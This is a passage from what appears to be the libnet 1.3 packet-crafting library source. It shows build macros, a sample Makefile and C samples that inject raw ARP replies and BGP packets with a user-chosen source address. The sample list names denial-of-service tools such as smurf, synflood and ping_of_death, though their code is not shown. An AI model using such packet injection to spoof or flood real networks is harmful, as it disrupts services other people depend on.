[DX_CLEAR_DEPEND(doc, 1)], [DX_REQUIRE_PROG([DX_DOT], dot)], [DX_ENV_APPEND(HAVE_DOT, YES) DX_ENV_APPEND(DOT_PATH, [`DX_DIRNAME_EXPR($DX_DOT)`])], [DX_ENV_APPEND(HAVE_DOT, NO)]) # Man pages generation: DX_ARG_ABLE(man, [generate doxygen manual pages], [DX_CHECK_DEPEND(doc, 1)], [DX_CLEAR_DEPEND(doc, 1)], [], [DX_ENV_APPEND(GENERATE_MAN, YES)], [DX_ENV_APPEND(GENERATE_MAN, NO)]) # RTF file generation: DX_ARG_ABLE(rtf, [generate doxygen RTF documentation], [DX_CHECK_DEPEND(doc, 1)], [DX_CLEAR_DEPEND(doc, 1)], [], [DX_ENV_APPEND(GENERATE_RTF, YES)], [DX_ENV_APPEND(GENERATE_RTF, NO)]) # XML file generation: DX_ARG_ABLE(xml, [generate doxygen XML documentation], [DX_CHECK_DEPEND(doc, 1)], [DX_CLEAR_DEPEND(doc, 1)], [], [DX_ENV_APPEND(GENERATE_XML, YES)], [DX_ENV_APPEND(GENERATE_XML, NO)]) # (Compressed) HTML help generation: DX_ARG_ABLE(chm, [generate doxygen compressed HTML help documentation], [DX_CHECK_DEPEND(doc, 1)], [DX_CLEAR_DEPEND(doc, 1)], [DX_REQUIRE_PROG([DX_HHC], hhc)], [DX_ENV_APPEND(HHC_PATH, $DX_HHC) DX_ENV_APPEND(GENERATE_HTML, YES) DX_ENV_APPEND(GENERATE_HTMLHELP, YES)], [DX_ENV_APPEND(GENERATE_HTMLHELP, NO)]) # Separate CHI file generation. DX_ARG_ABLE(chi, [generate doxygen separate compressed HTML help index file], [DX_CHECK_DEPEND(chm, 1)], [DX_CLEAR_DEPEND(chm, 1)], [], [DX_ENV_APPEND(GENERATE_CHI, YES)], [DX_ENV_APPEND(GENERATE_CHI, NO)]) # Plain HTML pages generation: DX_ARG_ABLE(html, [generate doxygen plain HTML documentation], [DX_CHECK_DEPEND(doc, 1) DX_CHECK_DEPEND(chm, 0)], [DX_CLEAR_DEPEND(doc, 1) DX_CLEAR_DEPEND(chm, 0)], [], [DX_ENV_APPEND(GENERATE_HTML, YES)], [DX_TEST_FEATURE(chm) || DX_ENV_APPEND(GENERATE_HTML, NO)]) # PostScript file generation: DX_ARG_ABLE(ps, [generate doxygen PostScript documentation], [DX_CHECK_DEPEND(doc, 1)], [DX_CLEAR_DEPEND(doc, 1)], [DX_REQUIRE_PROG([DX_LATEX], latex) DX_REQUIRE_PROG([DX_MAKEINDEX], makeindex) DX_REQUIRE_PROG([DX_DVIPS], dvips) DX_REQUIRE_PROG([DX_EGREP], egrep)]) # PDF file generation: DX_ARG_ABLE(pdf, [generate doxygen PDF documentation], [DX_CHECK_DEPEND(doc, 1)], [DX_CLEAR_DEPEND(doc, 1)], [DX_REQUIRE_PROG([DX_PDFLATEX], pdflatex) DX_REQUIRE_PROG([DX_MAKEINDEX], makeindex) DX_REQUIRE_PROG([DX_EGREP], egrep)]) # LaTeX generation for PS and/or PDF: if DX_TEST_FEATURE(ps) || DX_TEST_FEATURE(pdf); then DX_ENV_APPEND(GENERATE_LATEX, YES) else DX_ENV_APPEND(GENERATE_LATEX, NO) fi # Paper size for PS and/or PDF: AC_ARG_VAR(DOXYGEN_PAPER_SIZE, [a4wide (default), a4, letter, legal or executive]) case "$DOXYGEN_PAPER_SIZE" in #( "") AC_SUBST(DOXYGEN_PAPER_SIZE, "") ;; #( a4wide|a4|letter|legal|executive) DX_ENV_APPEND(PAPER_SIZE, $DOXYGEN_PAPER_SIZE) ;; #( *) AC_MSG_ERROR([unknown DOXYGEN_PAPER_SIZE='$DOXYGEN_PAPER_SIZE']) ;; esac # Rules: AS_IF([[test $DX_FLAG_html -eq 1]], [[DX_SNIPPET_html="## ------------------------------- ## ## Rules specific for HTML output. ## ## ------------------------------- ## DX_CLEAN_HTML = \$(DX_DOCDIR)/html]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/html]])[ "]], [[DX_SNIPPET_html=""]]) AS_IF([[test $DX_FLAG_chi -eq 1]], [[DX_SNIPPET_chi=" DX_CLEAN_CHI = \$(DX_DOCDIR)/\$(PACKAGE).chi]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).chi]])["]], [[DX_SNIPPET_chi=""]]) AS_IF([[test $DX_FLAG_chm -eq 1]], [[DX_SNIPPET_chm="## ------------------------------ ## ## Rules specific for CHM output. ## ## ------------------------------ ## DX_CLEAN_CHM = \$(DX_DOCDIR)/chm]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/chm]])[\ ${DX_SNIPPET_chi} "]], [[DX_SNIPPET_chm=""]]) AS_IF([[test $DX_FLAG_man -eq 1]], [[DX_SNIPPET_man="## ------------------------------ ## ## Rules specific for MAN output. ## ## ------------------------------ ## DX_CLEAN_MAN = \$(DX_DOCDIR)/man]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/man]])[ "]], [[DX_SNIPPET_man=""]]) AS_IF([[test $DX_FLAG_rtf -eq 1]], [[DX_SNIPPET_rtf="## ------------------------------ ## ## Rules specific for RTF output. ## ## ------------------------------ ## DX_CLEAN_RTF = \$(DX_DOCDIR)/rtf]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/rtf]])[ "]], [[DX_SNIPPET_rtf=""]]) AS_IF([[test $DX_FLAG_xml -eq 1]], [[DX_SNIPPET_xml="## ------------------------------ ## ## Rules specific for XML output. ## ## ------------------------------ ## DX_CLEAN_XML = \$(DX_DOCDIR)/xml]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/xml]])[ "]], [[DX_SNIPPET_xml=""]]) AS_IF([[test $DX_FLAG_ps -eq 1]], [[DX_SNIPPET_ps="## ----------------------------- ## ## Rules specific for PS output. ## ## ----------------------------- ## DX_CLEAN_PS = \$(DX_DOCDIR)/\$(PACKAGE).ps]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).ps]])[ DX_PS_GOAL = doxygen-ps doxygen-ps: \$(DX_CLEAN_PS) ]m4_foreach([DX_i], [DX_loop], [[\$(DX_DOCDIR]DX_i[)/\$(PACKAGE).ps: \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).tag \$(DX_V_LATEX)cd \$(DX_DOCDIR]DX_i[)/latex; \\ rm -f *.aux *.toc *.idx *.ind *.ilg *.log *.out; \\ \$(DX_LATEX) refman.tex; \\ \$(DX_MAKEINDEX) refman.idx; \\ \$(DX_LATEX) refman.tex; \\ countdown=5; \\ while \$(DX_EGREP) 'Rerun (LaTeX|to get cross-references right)' \\ refman.log > /dev/null 2>&1 \\ && test \$\$countdown -gt 0; do \\ \$(DX_LATEX) refman.tex; \\ countdown=\`expr \$\$countdown - 1\`; \\ done; \\ \$(DX_DVIPS) -o ../\$(PACKAGE).ps refman.dvi ]])["]], [[DX_SNIPPET_ps=""]]) AS_IF([[test $DX_FLAG_pdf -eq 1]], [[DX_SNIPPET_pdf="## ------------------------------ ## ## Rules specific for PDF output. ## ## ------------------------------ ## DX_CLEAN_PDF = \$(DX_DOCDIR)/\$(PACKAGE).pdf]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).pdf]])[ DX_PDF_GOAL = doxygen-pdf doxygen-pdf: \$(DX_CLEAN_PDF) ]m4_foreach([DX_i], [DX_loop], [[\$(DX_DOCDIR]DX_i[)/\$(PACKAGE).pdf: \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).tag \$(DX_V_LATEX)cd \$(DX_DOCDIR]DX_i[)/latex; \\ rm -f *.aux *.toc *.idx *.ind *.ilg *.log *.out; \\ \$(DX_PDFLATEX) refman.tex; \\ \$(DX_MAKEINDEX) refman.idx; \\ \$(DX_PDFLATEX) refman.tex; \\ countdown=5; \\ while \$(DX_EGREP) 'Rerun (LaTeX|to get cross-references right)' \\ refman.log > /dev/null 2>&1 \\ && test \$\$countdown -gt 0; do \\ \$(DX_PDFLATEX) refman.tex; \\ countdown=\`expr \$\$countdown - 1\`; \\ done; \\ mv refman.pdf ../\$(PACKAGE).pdf ]])["]], [[DX_SNIPPET_pdf=""]]) AS_IF([[test $DX_FLAG_ps -eq 1 -o $DX_FLAG_pdf -eq 1]], [[DX_SNIPPET_latex="## ------------------------------------------------- ## ## Rules specific for LaTeX (shared for PS and PDF). ## ## ------------------------------------------------- ## DX_V_LATEX = \$(_DX_v_LATEX_\$(V)) _DX_v_LATEX_ = \$(_DX_v_LATEX_\$(AM_DEFAULT_VERBOSITY)) _DX_v_LATEX_0 = @echo \" LATEX \" \$][@; DX_CLEAN_LATEX = \$(DX_DOCDIR)/latex]dnl m4_foreach([DX_i], [m4_shift(DX_loop)], [[\\ \$(DX_DOCDIR]DX_i[)/latex]])[ "]], [[DX_SNIPPET_latex=""]]) AS_IF([[test $DX_FLAG_doc -eq 1]], [[DX_SNIPPET_doc="## --------------------------------- ## ## Format-independent Doxygen rules. ## ## --------------------------------- ## ${DX_SNIPPET_html}\ ${DX_SNIPPET_chm}\ ${DX_SNIPPET_man}\ ${DX_SNIPPET_rtf}\ ${DX_SNIPPET_xml}\ ${DX_SNIPPET_ps}\ ${DX_SNIPPET_pdf}\ ${DX_SNIPPET_latex}\ DX_V_DXGEN = \$(_DX_v_DXGEN_\$(V)) _DX_v_DXGEN_ = \$(_DX_v_DXGEN_\$(AM_DEFAULT_VERBOSITY)) _DX_v_DXGEN_0 = @echo \" DXGEN \" \$<; .PHONY: doxygen-run doxygen-doc \$(DX_PS_GOAL) \$(DX_PDF_GOAL) .INTERMEDIATE: doxygen-run \$(DX_PS_GOAL) \$(DX_PDF_GOAL) doxygen-run:]m4_foreach([DX_i], [DX_loop], [[ \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).tag]])[ doxygen-doc: doxygen-run \$(DX_PS_GOAL) \$(DX_PDF_GOAL) ]m4_foreach([DX_i], [DX_loop], [[\$(DX_DOCDIR]DX_i[)/\$(PACKAGE).tag: \$(DX_CONFIG]DX_i[) \$(pkginclude_HEADERS) \$(DX_V_DXGEN)\$(DX_ENV) DOCDIR=\$(DX_DOCDIR]DX_i[) \$(DX_DOXYGEN) \$(DX_CONFIG]DX_i[) \$(A""M_V_at)echo Timestamp >\$][@ ]])dnl [DX_CLEANFILES = \\] m4_foreach([DX_i], [DX_loop], [[ \$(DX_DOCDIR]DX_i[)/doxygen_sqlite3.db \\ \$(DX_DOCDIR]DX_i[)/\$(PACKAGE).tag \\ ]])dnl [ -r \\ \$(DX_CLEAN_HTML) \\ \$(DX_CLEAN_CHM) \\ \$(DX_CLEAN_CHI) \\ \$(DX_CLEAN_MAN) \\ \$(DX_CLEAN_RTF) \\ \$(DX_CLEAN_XML) \\ \$(DX_CLEAN_PS) \\ \$(DX_CLEAN_PDF) \\ \$(DX_CLEAN_LATEX)"]], [[DX_SNIPPET_doc=""]]) AC_SUBST([DX_RULES], ["${DX_SNIPPET_doc}"])dnl AM_SUBST_NOTMAKE([DX_RULES]) #For debugging: #echo DX_FLAG_doc=$DX_FLAG_doc #echo DX_FLAG_dot=$DX_FLAG_dot #echo DX_FLAG_man=$DX_FLAG_man #echo DX_FLAG_html=$DX_FLAG_html #echo DX_FLAG_chm=$DX_FLAG_chm #echo DX_FLAG_chi=$DX_FLAG_chi #echo DX_FLAG_rtf=$DX_FLAG_rtf #echo DX_FLAG_xml=$DX_FLAG_xml #echo DX_FLAG_pdf=$DX_FLAG_pdf #echo DX_FLAG_ps=$DX_FLAG_ps #echo DX_ENV=$DX_ENV ]) libnet-1.3/m4/shell.m40000664000175000017500000000714214506572036012753 0ustar syqsyq# Check for a working shell. # Copyright (C) 2000-2001, 2007, 2009-2017 Free Software Foundation, Inc. # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA # 02111-1307, USA. # AC_PROG_SHELL # ------------- # Check for a working (i.e. POSIX-compatible) shell. # Written by Paul Eggert , # from an idea suggested by Albert Chin-A-Young . AC_DEFUN([AC_PROG_SHELL], [AC_MSG_CHECKING([for a POSIX-compliant shell]) AC_CACHE_VAL(ac_cv_path_shell, [ac_command=' # Test the noclobber option, using the portable POSIX.2 syntax. set -C rm -f conftest.c >conftest.c || exit >|conftest.c || exit !>conftest.c || exit # Test that $(...) works. test "$(expr 3 + 4)" -eq 7 || exit ' # Solaris 11 /bin/sh (AT&T Research) 93u 2011-02-08 has a file # descriptor bug that breaks zgrep and is hard to test for # directly. At some point $(...) is reading a pipe from the # subshell, but the pipe is also open in the parent shell, so # the read deadlocks. Prefer some other shell if available. ac_maybe_solaris_sh_bug='test "${.sh.version}"' ac_cv_path_shell=no case $SHELL in /*) rm -f conftest.c if ("$SHELL" -c "$ac_command") 2>/dev/null; then "$SHELL" -c "$ac_maybe_solaris_sh_bug" 2>/dev/null || ac_cv_path_shell=$SHELL fi esac case $ac_cv_path_shell in no) # Prefer shells that are more likely to be installed in the # same place on all hosts of this platform. Therefore, prefer # shells in /bin and /usr/bin to shells in the installer's # PATH. Also, loop through PATH first and then through # shells, since less-"nice" shells in /bin and /usr/bin are # more likely to be installed than "nicer" shells elsewhere. ac_break_if_good_shell=: as_save_IFS=$IFS; IFS=: for as_dir in /bin /usr/bin $PATH do IFS=$as_save_IFS case $as_dir in /*) for ac_base in sh bash ksh sh5; do rm -f conftest.c if ("$as_dir/$ac_base" -c "$ac_command") 2>/dev/null; then if "$as_dir/$ac_base" -c "$ac_maybe_solaris_sh_bug" 2>/dev/null then test "$ac_cv_path_shell" = no else ac_break_if_good_shell=break : fi && ac_cv_path_shell=$as_dir/$ac_base $ac_break_if_good_shell fi done $ac_break_if_good_shell esac done rm -f conftest.c esac]) AC_MSG_RESULT($ac_cv_path_shell) SHELL=$ac_cv_path_shell if test "$SHELL" = no; then SHELL=/bin/sh AC_MSG_WARN([using $SHELL, even though it does not conform to POSIX]) fi if "$SHELL" -c "$ac_maybe_solaris_sh_bug" 2>/dev/null; then AC_MSG_WARN([using $SHELL, even though it may have file descriptor bugs]) fi AC_SUBST(SHELL)]) libnet-1.3/sample/0000775000175000017500000000000014506572036012337 5ustar syqsyqlibnet-1.3/sample/.gitignore0000664000175000017500000000070514506572036014331 0ustar syqsyqarp bgp4_hdr bgp4_notification bgp4_open bgp4_update cdp dhcp_discover dns dot1x fddi_tcp1 fddi_tcp2 get_addr gre hsrp icmp6_echoreq icmp6_unreach icmp_echo_cq icmp_redirect icmp_timeexceed icmp_timestamp icmp_unreach ieee ip_link ip_raw isl lldp mpls ntp ospf_hello ospf_lsa ping_of_death rpc_tcp rpc_udp sebek smurf stp synflood synflood6 synflood6_frag tcp1 tcp2 test_ipv4 test_ipv4_options test_ipv6_icmpv4 tftp tring_tcp1 tring_tcp2 udp1 udp2 udld libnet-1.3/sample/Makefile.am0000664000175000017500000000723014506572036014375 0ustar syqsyq# # Libnet automake information file # Copyright (c) 1998 - 2004 Mike D. Schiffman # All rights reserved. # # Process this file with automake to produce a Makefile.in script. samples = arp \ bgp4_hdr \ bgp4_open \ bgp4_update \ bgp4_notification \ cdp \ dhcp_discover \ dns \ dot1x \ fddi_tcp1 \ fddi_tcp2 \ get_addr \ gre \ hsrp \ icmp_echo_cq \ icmp_redirect \ icmp_timeexceed \ icmp_timestamp \ icmp6_echoreq \ icmp_unreach \ icmp6_unreach \ ieee \ ip_link \ ip_raw \ isl \ mpls \ ntp \ ospf_hello \ ospf_lsa \ ping_of_death \ rpc_tcp \ rpc_udp \ synflood \ synflood6 \ sebek \ smurf \ stp \ synflood6_frag \ tcp1 \ tcp2 \ tftp \ udp1 \ udp2 \ test_ipv4 \ test_ipv6_icmpv4 \ test_ipv4_options \ tring_tcp1 \ tring_tcp2 \ lldp \ udld noinst_PROGRAMS = $(samples) arp_SOURCES = arp.c bgp4_hdr_SOURCES = bgp4_hdr.c bgp4_open_SOURCES = bgp4_open.c bgp4_update_SOURCES = bgp4_update.c bgp4_notification_SOURCES = bgp4_notification.c cdp_SOURCES = cdp.c dot1x_SOURCES = dot1x.c dhcp_discover_SOURCES = dhcp_discover.c dns_SOURCES = dns.c fddi_tcp1_SOURCES = fddi_tcp1.c fddi_tcp2_SOURCES = fddi_tcp2.c get_addr_SOURCES = get_addr.c gre_SOURCES = gre.c hsrp_SOURCES = hsrp.c icmp_echo_cq_SOURCES = icmp_echo_cq.c icmp_redirect_SOURCES = icmp_redirect.c icmp_timestamp_SOURCES = icmp_timestamp.c icmp_timeexceed_SOURCES = icmp_timeexceed.c icmp_unreach_SOURCES = icmp_unreach.c icmp6_echoreq_SOURCES = icmp6_echoreq.c icmp6_unreach_SOURCES = icmp6_unreach.c ieee_SOURCES = ieee.c ip_raw_SOURCES = ip_raw.c ip_link_SOURCES = ip_link.c isl_SOURCES = isl.c mpls_SOURCES = mpls.c ntp_SOURCES = ntp.c ospf_hello_SOURCES = ospf_hello.c ospf_lsa_SOURCES = ospf_lsa.c ping_of_death_SOURCES = ping_of_death.c rpc_tcp_SOURCES = rpc_tcp.c rpc_udp_SOURCES = rpc_udp.c sebek_SOURCES = sebek.c smurf_SOURCES = smurf.c stp_SOURCES = stp.c synflood_SOURCES = synflood.c synflood6_SOURCES = synflood6.c synflood6_frag_SOURCES = synflood6_frag.c tcp1_SOURCES = tcp1.c tcp2_SOURCES = tcp2.c test_ipv4_SOURCES = test_ipv4.c test_ipv4_options_SOURCES = test_ipv4_options.c test_ipv6_icmpv4_SOURCES = test_ipv6_icmpv4.c tftp_SOURCES = tftp.c tring_tcp1_SOURCES = tring_tcp1.c tring_tcp2_SOURCES = tring_tcp2.c udp1_SOURCES = udp1.c udp2_SOURCES = udp2.c lldp_SOURCES = lldp.c udld_SOURCES = udld.c LDADD = $(top_builddir)/src/libnet.la EXTRA_DIST = libnet_test.h \ arp-new.c \ win32/getopt.c \ win32/arp/arp.vcproj \ win32/cdp/cdp.vcproj \ win32/dhcp_discover/dhcp_discover.vcproj \ win32/dns/dns.vcproj \ win32/get_addr/get_addr.vcproj \ win32/icmp_echo_cq/icmp_echo_cq.vcproj \ win32/tcp1/tcp1.vcproj \ win32/udp1/dns.vcproj \ win32/udp1/udp1.vcproj libnet-1.3/sample/arp-new.c0000664000175000017500000001066714506572036014066 0ustar syqsyq/* * $Id: arp.c,v 1.5 2004/01/28 19:45:00 mike Exp $ * * libnet 1.1 * Build an ARP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; uint32_t i; libnet_t *l; libnet_ptag_t t; char *device = NULL; uint8_t *packet; uint32_t packet_s; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n"); if (argc > 1) { device = argv[1]; } l = libnet_init( LIBNET_LINK_ADV, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "%s", errbuf); exit(EXIT_FAILURE); } else /* * Build the packet, remmebering that order IS important. We must * build the packet from lowest protocol type on up as it would * appear on the wire. So for our ARP packet: * * ------------------------------------------- * | Ethernet | ARP | * ------------------------------------------- * ^ ^ * |------------------ | * libnet_build_ethernet()--| | * | * libnet_build_arp()-----------| */ i = libnet_get_ipaddr4(l); t = libnet_autobuild_arp( ARPOP_REPLY, /* operation type */ enet_src, /* sender hardware addr */ (uint8_t *)&i, /* sender protocol addr */ enet_dst, /* target hardware addr */ (uint8_t *)&i, /* target protocol addr */ l); /* libnet context */ if (t == -1) { fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_ethernet( enet_dst, /* ethernet destination */ ETHERTYPE_ARP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1) { fprintf(stderr, "%s", libnet_geterror(l)); } else { fprintf(stderr, "packet size: %d\n", packet_s); libnet_adv_free_packet(l, packet); } c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; " "check the wire.\n", c, libnet_cq_getlabel(l)); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/arp.c0000664000175000017500000001056114506572036013270 0ustar syqsyq/* * $Id: arp.c,v 1.7 2004/11/09 07:05:07 mike Exp $ * * libnet 1.1 * Build an ARP packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; uint32_t i; libnet_t *l; libnet_ptag_t t; char *device = NULL; uint8_t *packet; uint32_t packet_s; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ARP[link -- autobuilding ethernet]\n"); if (argc > 1) { device = argv[1]; } l = libnet_init( LIBNET_LINK_ADV, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "%s", errbuf); exit(EXIT_FAILURE); } else i = libnet_get_ipaddr4(l); t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ ARPOP_REPLY, /* operation type */ enet_src, /* sender hardware addr */ (uint8_t *)&i, /* sender protocol addr */ enet_dst, /* target hardware addr */ (uint8_t *)&i, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ l, /* libnet context */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build ARP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_ethernet( enet_dst, /* ethernet destination */ ETHERTYPE_ARP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } if (libnet_adv_cull_packet(l, &packet, &packet_s) == -1) { fprintf(stderr, "%s", libnet_geterror(l)); } else { fprintf(stderr, "packet size: %d\n", packet_s); libnet_adv_free_packet(l, packet); } c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ARP packet from context \"%s\"; " "check the wire.\n", c, libnet_cq_getlabel(l)); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/bgp4_hdr.c0000664000175000017500000001712214506572036014177 0ustar syqsyq/* * * libnet 1.1 * Build a BGP4 header with what you want as payload * * Copyright (c) 2003 Frédéric Raynal * All rights reserved. * * * Example: * * Sending of a BGP KEEPALIVE * * # ./bgp4_hdr -s 1.1.1.1 -d 2.2.2.2 -t 4 * libnet 1.1 packet shaping: BGP4 hdr + payload[raw] * Wrote 59 byte TCP packet; check the wire. * * 13:55:53.811579 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok] * 16843009:16843028(19) win 32767: BGP (ttl 64, id 242, len 59) * 0x0000 4500 003b 00f2 0000 4006 73c6 0101 0101 E..;....@.s..... * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff.......... * 0x0020 5002 7fff b090 0000 0101 0101 0101 0101 P............... * 0x0030 0101 0101 0101 0101 0013 04 ........... * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char *argv[]) { int c; libnet_t *l; u_long src_ip, dst_ip, length; libnet_ptag_t t = 0; char errbuf[LIBNET_ERRBUF_SIZE]; u_char *payload = NULL; u_long payload_s = 0; u_char marker[LIBNET_BGP4_MARKER_SIZE]; u_char type; printf("libnet 1.1 packet shaping: BGP4 hdr + payload[raw]\n"); l = libnet_init( LIBNET_RAW4, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; memset(marker, 0x1, LIBNET_BGP4_MARKER_SIZE); type = 0; while ((c = getopt(argc, argv, "d:s:t:m:p:")) != EOF) { switch (c) { /* * We expect the input to be of the form `ip.ip.ip.ip.port`. We * point cp to the last dot of the IP address/port string and * then separate them with a NULL byte. The optarg now points to * just the IP address, and cp points to the port. */ case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'm': memcpy(marker, optarg, LIBNET_BGP4_MARKER_SIZE); break; case 't': type = atoi(optarg); break; case 'p': payload = (u_char *)optarg; payload_s = strlen((char *)optarg); break; default: exit(EXIT_FAILURE); } } if (!src_ip || !dst_ip) { usage(argv[0]); exit(EXIT_FAILURE); } length 